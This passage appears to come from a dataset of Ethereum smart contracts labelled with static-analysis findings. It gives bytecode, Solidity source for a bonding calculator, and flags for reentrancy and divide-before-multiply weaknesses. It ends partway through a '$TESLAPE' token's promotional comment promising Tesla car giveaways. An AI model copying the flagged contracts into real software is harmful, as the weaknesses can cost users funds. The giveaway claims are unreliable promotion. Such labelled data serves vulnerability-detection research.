205369676e6564204d6573736167653a0a333200000000815250601c0182600019166000191681526020019150506040518091039020868686604051600081526020016040526040518085600019166000191681526020018460ff1660ff1681526020018360001916600019168152602001826000191660001916815260200194505050505060206040516020810390808403906000865af11580156116ca573d6000803e3d6000fd5b5050506020604051035173ffffffffffffffffffffffffffffffffffffffff16145b15156116f757600080fd5b88600860003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008360001916600019168152602001908152602001600020819055507f1e0b760c386003e9cb9bcf4fcf3997886042859d9b6ed6320e804597fcdb28b08a8a8a8a8a8a338b8b8b604051808b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018a81526020018973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018881526020018781526020018681526020018573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018460ff1660ff168152602001836000191660001916815260200182600019166000191681526020019a505050505050505050505060405180910390a150505050505050505050565b80600660008073ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410156118ec57600080fd5b61195c600660008073ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205482613776565b600660008073ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055503373ffffffffffffffffffffffffffffffffffffffff168160405160006040518083038185875af19250505015156119fd57600080fd5b7ff341246adaac6f497bc2a656f546ab9e182111d630394f0c57c710a59a2cb56760003383600660008073ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054604051808573ffffffffffffffffffffffffffffffffffffffff1681526020018473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200183815260200182815260200194505050505060405180910390a150565b856000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555084600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555083600260006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550826003819055508160048190555080600581905550505050505050565b60008273ffffffffffffffffffffffffffffffffffffffff161415611bfb57600080fd5b8173ffffffffffffffffffffffffffffffffffffffff166323b872dd3330846040518463ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018281526020019350505050602060405180830381600087803b158015611cd257600080fd5b505af1158015611ce6573d6000803e3d6000fd5b505050506040513d6020811015611cfc57600080fd5b81019080805190602001909291905050501515611d1857600080fd5b611d9e600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205482612fc8565b600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055507fdcbc1c05240f31ff3ad067ef1ee35ce4997762752e3a095284754544f4c709d7823383600660008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054604051808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200183815260200182815260200194505050505060405180910390a15050565b6000806002308d8d8d8d8d8d604051808873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166c010000000000000000000000000281526014018773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166c010000000000000000000000000281526014018681526020018573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166c010000000000000000000000000281526014018481526020018381526020018281526020019750505050505050506020604051808303816000865af1158015612058573d6000803e3d6000fd5b5050506040513d602081101561206d57600080fd5b81019080805190602001909291905050509050600860008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008260001916600019168152602001908152602001600020549150509a9950505050505050505050565b6006602052816000526040600020602052806000526040600020600091509150505481565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561216a57600080fd5b60035481111561217957600080fd5b8060038190555050565b60035481565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156121e457600080fd5b6005548110806121f5575060045481115b156121ff57600080fd5b8060058190555050565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600082600660008f73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054101580156122ce5750826122cb8e8e8e8e8e8e8e8e8e8e612bf2565b10155b15156122dd57600090506122e2565b600190505b9c9b505050505050505050505050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561234d57600080fd5b80600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b60055481565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156123f257600080fd5b600454811180612403575060055481105b1561240d57600080fd5b8060048190555050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561247257600080fd5b806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b60008273ffffffffffffffffffffffffffffffffffffffff1614156124d957600080fd5b80600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054101561256257600080fd5b6125e8600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205482613776565b600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff1663a9059cbb33836040518363ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b15801561270b57600080fd5b505af115801561271f573d6000803e3d6000fd5b505050506040513d602081101561273557600080fd5b8101908080519060200190929190505050151561275157600080fd5b7ff341246adaac6f497bc2a656f546ab9e182111d630394f0c57c710a59a2cb567823383600660008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054604051808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200183815260200182815260200194505050505060405180910390a15050565b60076020528160005260406000206020528060005260406000206000915091509054906101000a900460ff1681565b60045481565b61291d600660008073ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205434612fc8565b600660008073ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055507fdcbc1c05240f31ff3ad067ef1ee35ce4997762752e3a095284754544f4c709d760003334600660008073ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054604051808573ffffffffffffffffffffffffffffffffffffffff1681526020018473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200183815260200182815260200194505050505060405180910390a1565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515612adc57600080fd5b80600260006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000806000806002308f8f8f8f8f8f604051808873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166c010000000000000000000000000281526014018773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166c010000000000000000000000000281526014018681526020018573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166c010000000000000000000000000281526014018481526020018381526020018281526020019750505050505050506020604051808303816000865af1158015612d08573d6000803e3d6000fd5b5050506040513d6020811015612d1d57600080fd5b81019080805190602001909291905050509250600760008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000846000191660001916815260200190815260200160002060009054906101000a900460ff1680612e9157508773ffffffffffffffffffffffffffffffffffffffff1660018460405180807f19457468657265756d205369676e6564204d6573736167653a0a333200000000815250601c0182600019166000191681526020019150506040518091039020898989604051600081526020016040526040518085600019166000191681526020018460ff1660ff1681526020018360001916600019168152602001826000191660001916815260200194505050505060206040516020810390808403906000865af1158015612e6f573d6000803e3d6000fd5b5050506020604051035173ffffffffffffffffffffffffffffffffffffffff16145b8015612e9d5750894311155b1515612eac5760009350612fb7565b612f0e8d600860008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000866000191660001916815260200190815260200160002054613776565b91508a612f97600660008f73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548f61378f565b811515612fa057fe5b04905080821015612fb357819350612fb7565b8093505b5050509a9950505050505050505050565b6000808284019050612fe8848210158015612fe35750838210155b6137c2565b8091505092915050565b600080600080670de0b6b3a764000061300d8660035461378f565b81151561301657fe5b049350670de0b6b3a764000061302e8660045461378f565b81151561303757fe5b049250600091506000600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161415156131b357600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16631cbd0519876040518263ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001915050602060405180830381600087803b15801561313d57600080fd5b505af1158015613151573d6000803e3d6000fd5b505050506040513d602081101561316757600080fd5b8101908080519060200190929190505050905060018114156131a557670de0b6b3a76400006131988660055461378f565b8115156131a157fe5b0491505b60028114156131b2578291505b5b613242600660008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461323d8786612fc8565b613776565b600660008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061335a600660008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461335561334f8886612fc8565b87613776565b612fc8565b600660008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550613494600660008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461348f6134898787612fc8565b85613776565b612fc8565b600660008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506135d0600660008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548a6135c18a8961378f565b8115156135ca57fe5b04613776565b600660008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506136ea600660008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548a6136db8a8961378f565b8115156136e457fe5b04612fc8565b600660008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555050505050505050505050565b6000613784838311156137c2565b818303905092915050565b60008082840290506137b860008514806137b357508385838115156137b057fe5b04145b6137c2565b8091505092915050565b8015156137ce57600080fd5b505600a165627a7a72305820fe297dc9913fb1c3750e5403b82ee67b656074511e6855b592013cee1fc07af10029
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}]}}
| 8,041 |
0xc8a8b690edd9c9b524d5a1882860abd47980b3c7
|
// SPDX-License-Identifier: AGPL-3.0-or-later
pragma solidity 0.7.5;
library FullMath {
function fullMul(uint256 x, uint256 y) private pure returns (uint256 l, uint256 h) {
uint256 mm = mulmod(x, y, uint256(-1));
l = x * y;
h = mm - l;
if (mm < l) h -= 1;
}
function fullDiv(
uint256 l,
uint256 h,
uint256 d
) private pure returns (uint256) {
uint256 pow2 = d & -d;
d /= pow2;
l /= pow2;
l += h * ((-pow2) / pow2 + 1);
uint256 r = 1;
r *= 2 - d * r;
r *= 2 - d * r;
r *= 2 - d * r;
r *= 2 - d * r;
r *= 2 - d * r;
r *= 2 - d * r;
r *= 2 - d * r;
r *= 2 - d * r;
return l * r;
}
function mulDiv(
uint256 x,
uint256 y,
uint256 d
) internal pure returns (uint256) {
(uint256 l, uint256 h) = fullMul(x, y);
uint256 mm = mulmod(x, y, d);
if (mm > l) h -= 1;
l -= mm;
require(h < d, 'FullMath::mulDiv: overflow');
return fullDiv(l, h, d);
}
}
library Babylonian {
function sqrt(uint256 x) internal pure returns (uint256) {
if (x == 0) return 0;
uint256 xx = x;
uint256 r = 1;
if (xx >= 0x100000000000000000000000000000000) {
xx >>= 128;
r <<= 64;
}
if (xx >= 0x10000000000000000) {
xx >>= 64;
r <<= 32;
}
if (xx >= 0x100000000) {
xx >>= 32;
r <<= 16;
}
if (xx >= 0x10000) {
xx >>= 16;
r <<= 8;
}
if (xx >= 0x100) {
xx >>= 8;
r <<= 4;
}
if (xx >= 0x10) {
xx >>= 4;
r <<= 2;
}
if (xx >= 0x8) {
r <<= 1;
}
r = (r + x / r) >> 1;
r = (r + x / r) >> 1;
r = (r + x / r) >> 1;
r = (r + x / r) >> 1;
r = (r + x / r) >> 1;
r = (r + x / r) >> 1;
r = (r + x / r) >> 1; // Seven iterations should be enough
uint256 r1 = x / r;
return (r < r1 ? r : r1);
}
}
library BitMath {
function mostSignificantBit(uint256 x) internal pure returns (uint8 r) {
require(x > 0, 'BitMath::mostSignificantBit: zero');
if (x >= 0x100000000000000000000000000000000) {
x >>= 128;
r += 128;
}
if (x >= 0x10000000000000000) {
x >>= 64;
r += 64;
}
if (x >= 0x100000000) {
x >>= 32;
r += 32;
}
if (x >= 0x10000) {
x >>= 16;
r += 16;
}
if (x >= 0x100) {
x >>= 8;
r += 8;
}
if (x >= 0x10) {
x >>= 4;
r += 4;
}
if (x >= 0x4) {
x >>= 2;
r += 2;
}
if (x >= 0x2) r += 1;
}
}
library FixedPoint {
// range: [0, 2**112 - 1]
// resolution: 1 / 2**112
struct uq112x112 {
uint224 _x;
}
// range: [0, 2**144 - 1]
// resolution: 1 / 2**112
struct uq144x112 {
uint256 _x;
}
uint8 private constant RESOLUTION = 112;
uint256 private constant Q112 = 0x10000000000000000000000000000;
uint256 private constant Q224 = 0x100000000000000000000000000000000000000000000000000000000;
uint256 private constant LOWER_MASK = 0xffffffffffffffffffffffffffff; // decimal of UQ*x112 (lower 112 bits)
// decode a UQ112x112 into a uint112 by truncating after the radix point
function decode(uq112x112 memory self) internal pure returns (uint112) {
return uint112(self._x >> RESOLUTION);
}
// decode a uq112x112 into a uint with 18 decimals of precision
function decode112with18(uq112x112 memory self) internal pure returns (uint) {
return uint(self._x) / 5192296858534827;
}
function fraction(uint256 numerator, uint256 denominator) internal pure returns (uq112x112 memory) {
require(denominator > 0, 'FixedPoint::fraction: division by zero');
if (numerator == 0) return FixedPoint.uq112x112(0);
if (numerator <= uint144(-1)) {
uint256 result = (numerator << RESOLUTION) / denominator;
require(result <= uint224(-1), 'FixedPoint::fraction: overflow');
return uq112x112(uint224(result));
} else {
uint256 result = FullMath.mulDiv(numerator, Q112, denominator);
require(result <= uint224(-1), 'FixedPoint::fraction: overflow');
return uq112x112(uint224(result));
}
}
// square root of a UQ112x112
// lossy between 0/1 and 40 bits
function sqrt(uq112x112 memory self) internal pure returns (uq112x112 memory) {
if (self._x <= uint144(-1)) {
return uq112x112(uint224(Babylonian.sqrt(uint256(self._x) << 112)));
}
uint8 safeShiftBits = 255 - BitMath.mostSignificantBit(self._x);
safeShiftBits -= safeShiftBits % 2;
return uq112x112(uint224(Babylonian.sqrt(uint256(self._x) << safeShiftBits) << ((112 - safeShiftBits) / 2)));
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function sqrrt(uint256 a) internal pure returns (uint c) {
if (a > 3) {
c = a;
uint b = add( div( a, 2), 1 );
while (b < c) {
c = b;
b = div( add( div( a, b ), b), 2 );
}
} else if (a != 0) {
c = 1;
}
}
}
interface IERC20 {
function decimals() external view returns (uint8);
}
interface IUniswapV2ERC20 {
function totalSupply() external view returns (uint);
}
interface IUniswapV2Pair is IUniswapV2ERC20 {
function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast);
function token0() external view returns ( address );
function token1() external view returns ( address );
}
interface IBondingCalculator {
function valuation( address pair_, uint amount_ ) external view returns ( uint _value );
}
contract SdaBondingCalculator is IBondingCalculator {
using FixedPoint for *;
using SafeMath for uint;
using SafeMath for uint112;
address public immutable SDA;
constructor( address _SDA ) {
require( _SDA != address(0) );
SDA = _SDA;
}
function getKValue( address _pair ) public view returns( uint k_ ) {
uint token0 = IERC20( IUniswapV2Pair( _pair ).token0() ).decimals();
uint token1 = IERC20( IUniswapV2Pair( _pair ).token1() ).decimals();
uint decimals = token0.add( token1 );
uint pair = IERC20( _pair ).decimals();
(uint reserve0, uint reserve1, ) = IUniswapV2Pair( _pair ).getReserves();
if(decimals>=pair)
k_ = reserve0.mul(reserve1).div( 10 ** decimals.sub(pair) );
else
k_ = reserve0.mul(reserve1).mul( 10 ** pair.sub(decimals) );
}
function getTotalValue( address _pair ) public view returns ( uint _value ) {
_value = getKValue( _pair ).sqrrt().mul(2);
}
function valuation( address _pair, uint amount_ ) external view override returns ( uint _value ) {
uint totalValue = getTotalValue( _pair );
uint totalSupply = IUniswapV2Pair( _pair ).totalSupply();
_value = totalValue.mul( FixedPoint.fraction( amount_, totalSupply ).decode112with18() ).div( 1e18 );
}
function markdown( address _pair ) external view returns ( uint ) {
( uint reserve0, uint reserve1, ) = IUniswapV2Pair( _pair ).getReserves();
uint reserve;
if ( IUniswapV2Pair( _pair ).token0() == SDA ) {
reserve = reserve1;
} else {
reserve = reserve0;
}
return reserve.mul( 2 * ( 10 ** IERC20( SDA ).decimals() ) ).div( getTotalValue( _pair ) );
}
}
|
0x608060405234801561001057600080fd5b50600436106100575760003560e01c806332da80a31461005c5780634249719f14610094578063490084ef146100c057806368637549146100e65780637cdb89921461010c575b600080fd5b6100826004803603602081101561007257600080fd5b50356001600160a01b0316610130565b60408051918252519081900360200190f35b610082600480360360408110156100aa57600080fd5b506001600160a01b038135169060200135610313565b610082600480360360208110156100d657600080fd5b50356001600160a01b03166103bb565b610082600480360360208110156100fc57600080fd5b50356001600160a01b03166106d5565b6101146106f3565b604080516001600160a01b039092168252519081900360200190f35b6000806000836001600160a01b0316630902f1ac6040518163ffffffff1660e01b815260040160606040518083038186803b15801561016e57600080fd5b505afa158015610182573d6000803e3d6000fd5b505050506040513d606081101561019857600080fd5b50805160209182015160408051630dfe168160e01b815290516001600160701b0393841696509290911693506000926001600160a01b037f000000000000000000000000a634fd53f1129a410a3da6df586d2ee02541d74981169390891692630dfe1681926004808301939192829003018186803b15801561021957600080fd5b505afa15801561022d573d6000803e3d6000fd5b505050506040513d602081101561024357600080fd5b50516001600160a01b0316141561025b57508061025e565b50815b61030861026a866106d5565b6103027f000000000000000000000000a634fd53f1129a410a3da6df586d2ee02541d7496001600160a01b031663313ce5676040518163ffffffff1660e01b815260040160206040518083038186803b1580156102c657600080fd5b505afa1580156102da573d6000803e3d6000fd5b505050506040513d60208110156102f057600080fd5b5051849060ff16600a0a600202610717565b90610777565b93505050505b919050565b60008061031f846106d5565b90506000846001600160a01b03166318160ddd6040518163ffffffff1660e01b815260040160206040518083038186803b15801561035c57600080fd5b505afa158015610370573d6000803e3d6000fd5b505050506040513d602081101561038657600080fd5b505190506103b2670de0b6b3a76400006103026103ab6103a688866107b9565b610930565b8590610717565b95945050505050565b600080826001600160a01b0316630dfe16816040518163ffffffff1660e01b815260040160206040518083038186803b1580156103f757600080fd5b505afa15801561040b573d6000803e3d6000fd5b505050506040513d602081101561042157600080fd5b50516040805163313ce56760e01b815290516001600160a01b039092169163313ce56791600480820192602092909190829003018186803b15801561046557600080fd5b505afa158015610479573d6000803e3d6000fd5b505050506040513d602081101561048f57600080fd5b50516040805163d21220a760e01b8152905160ff90921692506000916001600160a01b0386169163d21220a7916004808301926020929190829003018186803b1580156104db57600080fd5b505afa1580156104ef573d6000803e3d6000fd5b505050506040513d602081101561050557600080fd5b50516040805163313ce56760e01b815290516001600160a01b039092169163313ce56791600480820192602092909190829003018186803b15801561054957600080fd5b505afa15801561055d573d6000803e3d6000fd5b505050506040513d602081101561057357600080fd5b505160ff16905060006105868383610948565b90506000856001600160a01b031663313ce5676040518163ffffffff1660e01b815260040160206040518083038186803b1580156105c357600080fd5b505afa1580156105d7573d6000803e3d6000fd5b505050506040513d60208110156105ed57600080fd5b505160408051630240bc6b60e21b8152905160ff909216925060009182916001600160a01b038a1691630902f1ac91600480820192606092909190829003018186803b15801561063c57600080fd5b505afa158015610650573d6000803e3d6000fd5b505050506040513d606081101561066657600080fd5b5080516020909101516001600160701b0391821693501690508284106106a7576106a061069385856109a2565b600a0a6103028484610717565b96506106ca565b6106c76106b484866109a2565b600a0a6106c18484610717565b90610717565b96505b505050505050919050565b60006106ed60026106c16106e8856103bb565b6109e4565b92915050565b7f000000000000000000000000a634fd53f1129a410a3da6df586d2ee02541d74981565b600082610726575060006106ed565b8282028284828161073357fe5b04146107705760405162461bcd60e51b8152600401808060200182810382526021815260200180610cc06021913960400191505060405180910390fd5b9392505050565b600061077083836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250610a4e565b6107c1610c87565b600082116108005760405162461bcd60e51b8152600401808060200182810382526026815260200180610c9a6026913960400191505060405180910390fd5b8261081a57506040805160208101909152600081526106ed565b71ffffffffffffffffffffffffffffffffffff83116108c157600082607085901b8161084257fe5b0490506001600160e01b038111156108a1576040805162461bcd60e51b815260206004820152601e60248201527f4669786564506f696e743a3a6672616374696f6e3a206f766572666c6f770000604482015290519081900360640190fd5b6040518060200160405280826001600160e01b03168152509150506106ed565b60006108d284600160701b85610af0565b90506001600160e01b038111156108a1576040805162461bcd60e51b815260206004820152601e60248201527f4669786564506f696e743a3a6672616374696f6e3a206f766572666c6f770000604482015290519081900360640190fd5b516612725dd1d243ab6001600160e01b039091160490565b600082820183811015610770576040805162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015290519081900360640190fd5b600061077083836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610b90565b60006003821115610a405750806000610a08610a01836002610777565b6001610948565b90505b81811015610a3a57809150610a33610a2c610a268584610777565b83610948565b6002610777565b9050610a0b565b5061030e565b811561030e57506001919050565b60008183610ada5760405162461bcd60e51b81526004018080602001828103825283818151815260200191508051906020019080838360005b83811015610a9f578181015183820152602001610a87565b50505050905090810190601f168015610acc5780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b506000838581610ae657fe5b0495945050505050565b6000806000610aff8686610bea565b9150915060008480610b0d57fe5b868809905082811115610b21576001820391505b8083039250848210610b7a576040805162461bcd60e51b815260206004820152601a60248201527f46756c6c4d6174683a3a6d756c4469763a206f766572666c6f77000000000000604482015290519081900360640190fd5b610b85838387610c17565b979650505050505050565b60008184841115610be25760405162461bcd60e51b8152602060048201818152835160248401528351909283926044909101919085019080838360008315610a9f578181015183820152602001610a87565b505050900390565b6000808060001984860990508385029250828103915082811015610c0f576001820391505b509250929050565b60008181038216808381610c2757fe5b049250808581610c3357fe5b049450808160000381610c4257fe5b60028581038087028203028087028203028087028203028087028203028087028203028087028203029586029003909402930460010193909302939093010292915050565b6040805160208101909152600081529056fe4669786564506f696e743a3a6672616374696f6e3a206469766973696f6e206279207a65726f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f77a2646970667358221220d737738951cb6eb21a12afede3e5b76ac4d292a0e3e15f7d7f7e9f4f963399cf64736f6c63430007050033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}]}}
| 8,042 |
0xb860409e6bfe61a60e48af25689ed040387c4be4
|
/*
$TESLAPE
https://www.teslapetoken.com
About
$TESLAPE is the next ERC20 token launching to give away TESLA cars! We
saw the attention the Ape Meme Token trend got lately, and we decided to
launch a project that actually gives something to its community!
What you need to do? Nothing! Just buy into $TESLAPE and win! The Rules
are as simple as it gets! Own a 0.1% share of the total supply at the
moment of the raffle, and you will have the chance to win a real TESLA car!
We have set up milestones for you, and if you hold your bags with diamond
